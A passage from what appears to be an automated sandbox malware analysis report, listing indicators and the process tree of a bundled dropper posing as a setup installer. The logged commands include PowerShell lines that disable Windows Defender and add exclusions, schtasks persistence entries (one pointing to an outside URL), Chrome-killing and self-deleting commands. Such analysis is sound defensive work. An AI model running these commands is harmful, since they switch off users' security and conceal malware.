f300d06092a864886f70d01010505000382010100324bf3b2ca3e91fc12c6a1078c8e77a03306145c901e18f708a63d0a19f98780116e69e4961730ff3491637238eecc1c01a31d9428a431f67ac454d7f6e5315803a2ccce62db944573b5bf45c924b5d58202ad2379698db8b64dcecf4cca3323e81c88aa9d8b416e16c920e5899ecd3bda70f77e992620145425ab6e7385e69b219d0a6c820ea8f8c20cfa101e6c96ef870dc40f618badee832b95f88e92847239eb20ea83ed83cd976e08bceb4e26b6732be4d3f64cfe2671e26111744aff571a870f75482ecf516917a002126195d5d140b2104ceec4ac1043a6a59e0ad595629a0dcf8882c5320ce42b9f45e60d9f289cb1b92a5a57ad370faf1d7fdbbd9f	Calculator.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2796BAE63F1801E277261BA0D77770028F20EEE4	Calculator.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	43	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	104	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

WerFault.exepowershell.exepowershell.exeSun0324aba28588c0.exeSun03f5d51697d04.tmpWerFault.exeWerFault.exe

pid	process
3548	WerFault.exe
3548	WerFault.exe
3548	WerFault.exe
3548	WerFault.exe
3548	WerFault.exe
3548	WerFault.exe
3548	WerFault.exe
3548	WerFault.exe
3548	WerFault.exe
3548	WerFault.exe
3548	WerFault.exe
3548	WerFault.exe
3548	WerFault.exe
3548	WerFault.exe
3548	WerFault.exe
3548	WerFault.exe
3548	WerFault.exe
3548	WerFault.exe
3548	WerFault.exe
4940	powershell.exe
4940	powershell.exe
4732	powershell.exe
4732	powershell.exe
4116	Sun0324aba28588c0.exe
4116	Sun0324aba28588c0.exe
4940	powershell.exe
4732	powershell.exe
3176	Sun03f5d51697d04.tmp
3176	Sun03f5d51697d04.tmp
1492	WerFault.exe
1492	WerFault.exe
1492	WerFault.exe
1492	WerFault.exe
1492	WerFault.exe
1492	WerFault.exe
1492	WerFault.exe
1492	WerFault.exe
1492	WerFault.exe
1492	WerFault.exe
1492	WerFault.exe
1492	WerFault.exe
1492	WerFault.exe
1492	WerFault.exe
1492	WerFault.exe
1492	WerFault.exe
1492	WerFault.exe
1492	WerFault.exe
1492	WerFault.exe
3820	WerFault.exe
3820	WerFault.exe
3820	WerFault.exe
3820	WerFault.exe
3820	WerFault.exe
3820	WerFault.exe
3820	WerFault.exe
3820	WerFault.exe
3820	WerFault.exe
3820	WerFault.exe
3820	WerFault.exe
3820	WerFault.exe
3820	WerFault.exe
3820	WerFault.exe
3820	WerFault.exe
3820	WerFault.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

Explorer.EXE

pid process

2604 Explorer.EXE

pid	process
2604	Explorer.EXE

Suspicious behavior: MapViewOfSection 16 IoCs

Processes:

Sun0324aba28588c0.exeUzYxXqOkTtDpwSezwVXY7Exr.exeextd.exewlanext.exefrbwjdafrbwjdafrbwjdafrbwjdafrbwjda

pid	process
4116	Sun0324aba28588c0.exe
2252	UzYxXqOkTtDpwSezwVXY7Exr.exe
2252	UzYxXqOkTtDpwSezwVXY7Exr.exe
2252	UzYxXqOkTtDpwSezwVXY7Exr.exe
2208	extd.exe
5664	wlanext.exe
5664	wlanext.exe
5664	wlanext.exe
5664	wlanext.exe
5664	wlanext.exe
5664	wlanext.exe
3412	frbwjda
7012	frbwjda
4304	frbwjda
4880	frbwjda
7128	frbwjda

Suspicious behavior: SetClipboardViewer 1 IoCs

Processes:

cler.exe

pid process

652 cler.exe

pid	process
652	cler.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Sun03d477f1a31.exeSun03ea09aa5c9686e5.exeSun0328255c4bce6fb.exeWerFault.exepowershell.exepowershell.exeDownFlSetup110.exe4.exe5.exeWerFault.exeWerFault.exeExplorer.EXE6.exe

description	pid	process
Token: SeCreateTokenPrivilege	1180	Sun03d477f1a31.exe
Token: SeAssignPrimaryTokenPrivilege	1180	Sun03d477f1a31.exe
Token: SeLockMemoryPrivilege	1180	Sun03d477f1a31.exe
Token: SeIncreaseQuotaPrivilege	1180	Sun03d477f1a31.exe
Token: SeMachineAccountPrivilege	1180	Sun03d477f1a31.exe
Token: SeTcbPrivilege	1180	Sun03d477f1a31.exe
Token: SeSecurityPrivilege	1180	Sun03d477f1a31.exe
Token: SeTakeOwnershipPrivilege	1180	Sun03d477f1a31.exe
Token: SeLoadDriverPrivilege	1180	Sun03d477f1a31.exe
Token: SeSystemProfilePrivilege	1180	Sun03d477f1a31.exe
Token: SeSystemtimePrivilege	1180	Sun03d477f1a31.exe
Token: SeProfSingleProcessPrivilege	1180	Sun03d477f1a31.exe
Token: SeIncBasePriorityPrivilege	1180	Sun03d477f1a31.exe
Token: SeCreatePagefilePrivilege	1180	Sun03d477f1a31.exe
Token: SeCreatePermanentPrivilege	1180	Sun03d477f1a31.exe
Token: SeBackupPrivilege	1180	Sun03d477f1a31.exe
Token: SeRestorePrivilege	1180	Sun03d477f1a31.exe
Token: SeShutdownPrivilege	1180	Sun03d477f1a31.exe
Token: SeDebugPrivilege	1180	Sun03d477f1a31.exe
Token: SeAuditPrivilege	1180	Sun03d477f1a31.exe
Token: SeSystemEnvironmentPrivilege	1180	Sun03d477f1a31.exe
Token: SeChangeNotifyPrivilege	1180	Sun03d477f1a31.exe
Token: SeRemoteShutdownPrivilege	1180	Sun03d477f1a31.exe
Token: SeUndockPrivilege	1180	Sun03d477f1a31.exe
Token: SeSyncAgentPrivilege	1180	Sun03d477f1a31.exe
Token: SeEnableDelegationPrivilege	1180	Sun03d477f1a31.exe
Token: SeManageVolumePrivilege	1180	Sun03d477f1a31.exe
Token: SeImpersonatePrivilege	1180	Sun03d477f1a31.exe
Token: SeCreateGlobalPrivilege	1180	Sun03d477f1a31.exe
Token: 31	1180	Sun03d477f1a31.exe
Token: 32	1180	Sun03d477f1a31.exe
Token: 33	1180	Sun03d477f1a31.exe
Token: 34	1180	Sun03d477f1a31.exe
Token: 35	1180	Sun03d477f1a31.exe
Token: SeDebugPrivilege	4252	Sun03ea09aa5c9686e5.exe
Token: SeDebugPrivilege	5044	Sun0328255c4bce6fb.exe
Token: SeRestorePrivilege	3548	WerFault.exe
Token: SeBackupPrivilege	3548	WerFault.exe
Token: SeDebugPrivilege	3548	WerFault.exe
Token: SeDebugPrivilege	4732	powershell.exe
Token: SeDebugPrivilege	4940	powershell.exe
Token: SeDebugPrivilege	3128	DownFlSetup110.exe
Token: SeDebugPrivilege	2564	4.exe
Token: SeDebugPrivilege	3968	5.exe
Token: SeDebugPrivilege	1492	WerFault.exe
Token: SeDebugPrivilege	3820	WerFault.exe
Token: SeShutdownPrivilege	2604	Explorer.EXE
Token: SeCreatePagefilePrivilege	2604	Explorer.EXE
Token: SeShutdownPrivilege	2604	Explorer.EXE
Token: SeCreatePagefilePrivilege	2604	Explorer.EXE
Token: SeShutdownPrivilege	2604	Explorer.EXE
Token: SeCreatePagefilePrivilege	2604	Explorer.EXE
Token: SeShutdownPrivilege	2604	Explorer.EXE
Token: SeCreatePagefilePrivilege	2604	Explorer.EXE
Token: SeShutdownPrivilege	2604	Explorer.EXE
Token: SeCreatePagefilePrivilege	2604	Explorer.EXE
Token: SeDebugPrivilege	68	6.exe
Token: SeShutdownPrivilege	2604	Explorer.EXE
Token: SeCreatePagefilePrivilege	2604	Explorer.EXE
Token: SeShutdownPrivilege	2604	Explorer.EXE
Token: SeCreatePagefilePrivilege	2604	Explorer.EXE
Token: SeShutdownPrivilege	2604	Explorer.EXE
Token: SeCreatePagefilePrivilege	2604	Explorer.EXE
Token: SeShutdownPrivilege	2604	Explorer.EXE

Suspicious use of FindShellTrayWindow 12 IoCs

Processes:

Sun03f5d51697d04.tmpExplorer.EXECalculator.exe

pid	process
3176	Sun03f5d51697d04.tmp
2604	Explorer.EXE
2604	Explorer.EXE
2604	Explorer.EXE
2604	Explorer.EXE
5576	Calculator.exe
2604	Explorer.EXE
2604	Explorer.EXE
2604	Explorer.EXE
2604	Explorer.EXE
2604	Explorer.EXE
2604	Explorer.EXE

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

yTy3pjskcaOH3SGW7DDHaAqG.exeAdobeARM.exe

pid process

6068 yTy3pjskcaOH3SGW7DDHaAqG.exe
5132 AdobeARM.exe

pid	process
6068	yTy3pjskcaOH3SGW7DDHaAqG.exe
5132	AdobeARM.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

setup_x86_x64_install.exesetup_installer.exesetup_install.execmd.execmd.execmd.execmd.execmd.exe

description	pid	process	target process
PID 4824 wrote to memory of 424	4824	setup_x86_x64_install.exe	setup_installer.exe
PID 4824 wrote to memory of 424	4824	setup_x86_x64_install.exe	setup_installer.exe
PID 4824 wrote to memory of 424	4824	setup_x86_x64_install.exe	setup_installer.exe
PID 424 wrote to memory of 420	424	setup_installer.exe	setup_install.exe
PID 424 wrote to memory of 420	424	setup_installer.exe	setup_install.exe
PID 424 wrote to memory of 420	424	setup_installer.exe	setup_install.exe
PID 420 wrote to memory of 2196	420	setup_install.exe	cmd.exe
PID 420 wrote to memory of 2196	420	setup_install.exe	cmd.exe
PID 420 wrote to memory of 2196	420	setup_install.exe	cmd.exe
PID 420 wrote to memory of 2308	420	setup_install.exe	cmd.exe
PID 420 wrote to memory of 2308	420	setup_install.exe	cmd.exe
PID 420 wrote to memory of 2308	420	setup_install.exe	cmd.exe
PID 420 wrote to memory of 2456	420	setup_install.exe	cmd.exe
PID 420 wrote to memory of 2456	420	setup_install.exe	cmd.exe
PID 420 wrote to memory of 2456	420	setup_install.exe	cmd.exe
PID 420 wrote to memory of 2516	420	setup_install.exe	cmd.exe
PID 420 wrote to memory of 2516	420	setup_install.exe	cmd.exe
PID 420 wrote to memory of 2516	420	setup_install.exe	cmd.exe
PID 420 wrote to memory of 2656	420	setup_install.exe	cmd.exe
PID 420 wrote to memory of 2656	420	setup_install.exe	cmd.exe
PID 420 wrote to memory of 2656	420	setup_install.exe	cmd.exe
PID 420 wrote to memory of 2780	420	setup_install.exe	cmd.exe
PID 420 wrote to memory of 2780	420	setup_install.exe	cmd.exe
PID 420 wrote to memory of 2780	420	setup_install.exe	cmd.exe
PID 420 wrote to memory of 2892	420	setup_install.exe	cmd.exe
PID 420 wrote to memory of 2892	420	setup_install.exe	cmd.exe
PID 420 wrote to memory of 2892	420	setup_install.exe	cmd.exe
PID 420 wrote to memory of 2840	420	setup_install.exe	cmd.exe
PID 420 wrote to memory of 2840	420	setup_install.exe	cmd.exe
PID 420 wrote to memory of 2840	420	setup_install.exe	cmd.exe
PID 420 wrote to memory of 3880	420	setup_install.exe	cmd.exe
PID 420 wrote to memory of 3880	420	setup_install.exe	cmd.exe
PID 420 wrote to memory of 3880	420	setup_install.exe	cmd.exe
PID 420 wrote to memory of 4028	420	setup_install.exe	cmd.exe
PID 420 wrote to memory of 4028	420	setup_install.exe	cmd.exe
PID 420 wrote to memory of 4028	420	setup_install.exe	cmd.exe
PID 420 wrote to memory of 4336	420	setup_install.exe	cmd.exe
PID 420 wrote to memory of 4336	420	setup_install.exe	cmd.exe
PID 420 wrote to memory of 4336	420	setup_install.exe	cmd.exe
PID 2196 wrote to memory of 4732	2196	cmd.exe	powershell.exe
PID 2196 wrote to memory of 4732	2196	cmd.exe	powershell.exe
PID 2196 wrote to memory of 4732	2196	cmd.exe	powershell.exe
PID 2308 wrote to memory of 4940	2308	cmd.exe	powershell.exe
PID 2308 wrote to memory of 4940	2308	cmd.exe	powershell.exe
PID 2308 wrote to memory of 4940	2308	cmd.exe	powershell.exe
PID 420 wrote to memory of 4656	420	setup_install.exe	cmd.exe
PID 420 wrote to memory of 4656	420	setup_install.exe	cmd.exe
PID 420 wrote to memory of 4656	420	setup_install.exe	cmd.exe
PID 420 wrote to memory of 4620	420	setup_install.exe	cmd.exe
PID 420 wrote to memory of 4620	420	setup_install.exe	cmd.exe
PID 420 wrote to memory of 4620	420	setup_install.exe	cmd.exe
PID 420 wrote to memory of 4648	420	setup_install.exe	cmd.exe
PID 420 wrote to memory of 4648	420	setup_install.exe	cmd.exe
PID 420 wrote to memory of 4648	420	setup_install.exe	cmd.exe
PID 420 wrote to memory of 3660	420	setup_install.exe	cmd.exe
PID 420 wrote to memory of 3660	420	setup_install.exe	cmd.exe
PID 420 wrote to memory of 3660	420	setup_install.exe	cmd.exe
PID 4620 wrote to memory of 4252	4620	cmd.exe	Sun03ea09aa5c9686e5.exe
PID 4620 wrote to memory of 4252	4620	cmd.exe	Sun03ea09aa5c9686e5.exe
PID 3880 wrote to memory of 4116	3880	cmd.exe	Sun0324aba28588c0.exe
PID 3880 wrote to memory of 4116	3880	cmd.exe	Sun0324aba28588c0.exe
PID 3880 wrote to memory of 4116	3880	cmd.exe	Sun0324aba28588c0.exe
PID 2780 wrote to memory of 4204	2780	cmd.exe	Sun03f0dc4460bc9.exe
PID 2780 wrote to memory of 4204	2780	cmd.exe	Sun03f0dc4460bc9.exe

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Schedule
1⤵
- Drops file in System32 directory
PID:1056

C:\Users\Admin\AppData\Roaming\frbwjda
C:\Users\Admin\AppData\Roaming\frbwjda
2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:3412

C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARM.exe
"C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARM.exe"
2⤵
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
PID:5132

C:\Users\Admin\AppData\Roaming\frbwjda
C:\Users\Admin\AppData\Roaming\frbwjda
2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:7012

C:\Users\Admin\AppData\Roaming\frbwjda
C:\Users\Admin\AppData\Roaming\frbwjda
2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:4304

C:\Users\Admin\AppData\Roaming\frbwjda
C:\Users\Admin\AppData\Roaming\frbwjda
2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:4880

C:\Users\Admin\AppData\Roaming\frbwjda
C:\Users\Admin\AppData\Roaming\frbwjda
2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:7128

C:\Users\Admin\AppData\Roaming\frbwjda
C:\Users\Admin\AppData\Roaming\frbwjda
2⤵
PID:5588

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Drops file in Program Files directory
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:2604

C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
2⤵
- Suspicious use of WriteProcessMemory
PID:4824

C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:424

C:\Users\Admin\AppData\Local\Temp\7zS8A101816\setup_install.exe
"C:\Users\Admin\AppData\Local\Temp\7zS8A101816\setup_install.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:420

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
5⤵
- Suspicious use of WriteProcessMemory
PID:2196

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4732

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
5⤵
- Suspicious use of WriteProcessMemory
PID:2308

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4940

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun03d477f1a31.exe
5⤵
PID:2456

C:\Users\Admin\AppData\Local\Temp\7zS8A101816\Sun03d477f1a31.exe
Sun03d477f1a31.exe
6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1180

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c taskkill /f /im chrome.exe
7⤵
PID:3696

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im chrome.exe
8⤵
- Kills process with taskkill
PID:1692

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun033e271e0ce96c08.exe /mixone
5⤵
PID:2516

C:\Users\Admin\AppData\Local\Temp\7zS8A101816\Sun033e271e0ce96c08.exe
Sun033e271e0ce96c08.exe /mixone
6⤵
- Executes dropped EXE
PID:1984

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1984 -s 660
7⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1492

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1984 -s 676
7⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3820

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1984 -s 644
7⤵
- Program crash
PID:1388

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1984 -s 700
7⤵
- Program crash
PID:3012

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1984 -s 892
7⤵
- Program crash
PID:5328

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1984 -s 940
7⤵
- Program crash
PID:5244

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1984 -s 1112
7⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
PID:5840

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun03f0dc4460bc9.exe
5⤵
- Suspicious use of WriteProcessMemory
PID:2780

C:\Users\Admin\AppData\Local\Temp\7zS8A101816\Sun03f0dc4460bc9.exe
Sun03f0dc4460bc9.exe
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4204

C:\Users\Admin\AppData\Local\Temp\7zS8A101816\Sun03f0dc4460bc9.exe
C:\Users\Admin\AppData\Local\Temp\7zS8A101816\Sun03f0dc4460bc9.exe
7⤵
- Executes dropped EXE
PID:4972

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun03e4aeb7e43a1c.exe
5⤵
PID:2892

C:\Users\Admin\AppData\Local\Temp\7zS8A101816\Sun03e4aeb7e43a1c.exe
Sun03e4aeb7e43a1c.exe
6⤵
- Executes dropped EXE
PID:1384

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\3069764135.exe"
7⤵
- Executes dropped EXE
PID:4104

C:\Users\Admin\AppData\Local\Temp\3069764135.exe
"C:\Users\Admin\AppData\Local\Temp\3069764135.exe"
8⤵
- Executes dropped EXE
PID:1448

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\4787631693.exe"
7⤵
PID:4320

C:\Users\Admin\AppData\Local\Temp\4787631693.exe
"C:\Users\Admin\AppData\Local\Temp\4787631693.exe"
8⤵
- Executes dropped EXE
PID:2432

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im "Sun03e4aeb7e43a1c.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS8A101816\Sun03e4aeb7e43a1c.exe" & exit
7⤵
PID:6580

C:\Windows\SysWOW64\taskkill.exe
taskkill /im "Sun03e4aeb7e43a1c.exe" /f
8⤵
- Kills process with taskkill
PID:5548

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun0397381f1f458e.exe
5⤵
PID:2840

C:\Users\Admin\AppData\Local\Temp\7zS8A101816\Sun0397381f1f458e.exe
Sun0397381f1f458e.exe
6⤵
PID:4104

C:\Users\Admin\AppData\Local\Temp\7zS8A101816\Sun0397381f1f458e.exe
"C:\Users\Admin\AppData\Local\Temp\7zS8A101816\Sun0397381f1f458e.exe" -u
7⤵
- Executes dropped EXE
PID:1264

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun039750b00c.exe
5⤵
PID:2656

C:\Users\Admin\AppData\Local\Temp\7zS8A101816\Sun039750b00c.exe
Sun039750b00c.exe
6⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:4416

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun0324aba28588c0.exe
5⤵
- Suspicious use of WriteProcessMemory
PID:3880

C:\Users\Admin\AppData\Local\Temp\7zS8A101816\Sun0324aba28588c0.exe
Sun0324aba28588c0.exe
6⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:4116

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun038aa349e3318e.exe
5⤵
PID:4028

C:\Users\Admin\AppData\Local\Temp\7zS8A101816\Sun038aa349e3318e.exe
Sun038aa349e3318e.exe
6⤵
- Executes dropped EXE
- Checks computer location settings
PID:3468

C:\Users\Admin\Pictures\Adobe Films\yTy3pjskcaOH3SGW7DDHaAqG.exe
"C:\Users\Admin\Pictures\Adobe Films\yTy3pjskcaOH3SGW7DDHaAqG.exe"
7⤵
- Executes dropped EXE
PID:4872

C:\Users\Admin\Pictures\Adobe Films\jw1BtrPSHkN5Ycj5GrGZrWNp.exe
"C:\Users\Admin\Pictures\Adobe Films\jw1BtrPSHkN5Ycj5GrGZrWNp.exe"
7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5264

C:\Users\Admin\Pictures\Adobe Films\jw1BtrPSHkN5Ycj5GrGZrWNp.exe
"C:\Users\Admin\Pictures\Adobe Films\jw1BtrPSHkN5Ycj5GrGZrWNp.exe"
8⤵
PID:4392

C:\Users\Admin\Pictures\Adobe Films\uecNmHuKV5CntDpX5R5cAnad.exe
"C:\Users\Admin\Pictures\Adobe Films\uecNmHuKV5CntDpX5R5cAnad.exe"
7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
PID:1364

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
8⤵
PID:5428

C:\Users\Admin\Pictures\Adobe Films\CMCX11vCmko9R4RXJMdgUVL4.exe
"C:\Users\Admin\Pictures\Adobe Films\CMCX11vCmko9R4RXJMdgUVL4.exe"
7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:2168

C:\Users\Admin\Pictures\Adobe Films\qk9UWVrVqY4tBN2oy63GGKMe.exe
"C:\Users\Admin\Pictures\Adobe Films\qk9UWVrVqY4tBN2oy63GGKMe.exe"
7⤵
- Executes dropped EXE
PID:2356

C:\Users\Admin\Pictures\Adobe Films\lIJoDlCIBCCNb2IhrB3rTnjY.exe
"C:\Users\Admin\Pictures\Adobe Films\lIJoDlCIBCCNb2IhrB3rTnjY.exe"
7⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:3044

C:\Users\Admin\Pictures\Adobe Films\UjJmg_DELP1NaVeOyjr4XbfL.exe
"C:\Users\Admin\Pictures\Adobe Films\UjJmg_DELP1NaVeOyjr4XbfL.exe"
7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:760

C:\Users\Admin\Pictures\Adobe Films\UjJmg_DELP1NaVeOyjr4XbfL.exe
"C:\Users\Admin\Pictures\Adobe Films\UjJmg_DELP1NaVeOyjr4XbfL.exe"
8⤵
PID:3344

C:\Users\Admin\Pictures\Adobe Films\UzYxXqOkTtDpwSezwVXY7Exr.exe
"C:\Users\Admin\Pictures\Adobe Films\UzYxXqOkTtDpwSezwVXY7Exr.exe"
7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
PID:2252

C:\Users\Admin\Pictures\Adobe Films\xcLVIwmxi_ZLJsepaVLcueHv.exe
"C:\Users\Admin\Pictures\Adobe Films\xcLVIwmxi_ZLJsepaVLcueHv.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:3036

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im xcLVIwmxi_ZLJsepaVLcueHv.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\xcLVIwmxi_ZLJsepaVLcueHv.exe" & del C:\ProgramData\*.dll & exit
8⤵
PID:6156

C:\Windows\SysWOW64\taskkill.exe
taskkill /im xcLVIwmxi_ZLJsepaVLcueHv.exe /f
9⤵
- Kills process with taskkill
PID:6744

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
9⤵
- Delays execution with timeout.exe
PID:6700

C:\Users\Admin\Pictures\Adobe Films\1ElQX1vnC6hzc6ozl4KylRRW.exe
"C:\Users\Admin\Pictures\Adobe Films\1ElQX1vnC6hzc6ozl4KylRRW.exe"
7⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Drops file in Program Files directory
PID:5464

C:\Program Files (x86)\Company\NewProduct\cutm3.exe
"C:\Program Files (x86)\Company\NewProduct\cutm3.exe"
8⤵
PID:6116

C:\Program Files (x86)\Company\NewProduct\jg1_1faf.exe
"C:\Program Files (x86)\Company\NewProduct\jg1_1faf.exe"
8⤵
- Checks whether UAC is enabled
- Drops file in Program Files directory
PID:2200

C:\Users\Admin\Pictures\Adobe Films\zYHzp_ecSfHCBQQQXejKOBf6.exe
"C:\Users\Admin\Pictures\Adobe Films\zYHzp_ecSfHCBQQQXejKOBf6.exe"
7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2440

C:\Users\Admin\Pictures\Adobe Films\zYHzp_ecSfHCBQQQXejKOBf6.exe
"C:\Users\Admin\Pictures\Adobe Films\zYHzp_ecSfHCBQQQXejKOBf6.exe"
8⤵
PID:6812

C:\Users\Admin\Pictures\Adobe Films\d3AMh7RrYP1XgER3nYdWgVrD.exe
"C:\Users\Admin\Pictures\Adobe Films\d3AMh7RrYP1XgER3nYdWgVrD.exe"
7⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:5488

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /RU "Admin" /tr "https://nougacoush.com/link?z=4569148" /tn "AV GORelease" /sc ONCE /st 14:8 /rl HIGHEST
8⤵
- Creates scheduled task(s)
PID:4980

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
9⤵
PID:1088

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
8⤵
- Creates scheduled task(s)
PID:7004

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
8⤵
- Creates scheduled task(s)
PID:352

C:\Users\Admin\Pictures\Adobe Films\ZDAes857uiA7Ldl_tt0f6Zy7.exe
"C:\Users\Admin\Pictures\Adobe Films\ZDAes857uiA7Ldl_tt0f6Zy7.exe"
7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:3708

C:\Users\Admin\Pictures\Adobe Films\GW1qWiZN_WfRGdqvRw1o4xI2.exe
"C:\Users\Admin\Pictures\Adobe Films\GW1qWiZN_WfRGdqvRw1o4xI2.exe"
7⤵
PID:688

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c taskkill /f /im chrome.exe
8⤵
PID:6740

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im chrome.exe
9⤵
- Kills process with taskkill
PID:3048

C:\Users\Admin\Pictures\Adobe Films\dYLG3PpYw0yLWxJQRvws6jif.exe
"C:\Users\Admin\Pictures\Adobe Films\dYLG3PpYw0yLWxJQRvws6jif.exe"
7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:6012

C:\Users\Admin\Pictures\Adobe Films\PtIpbjLSQP_eHgf86mvDiq5x.exe
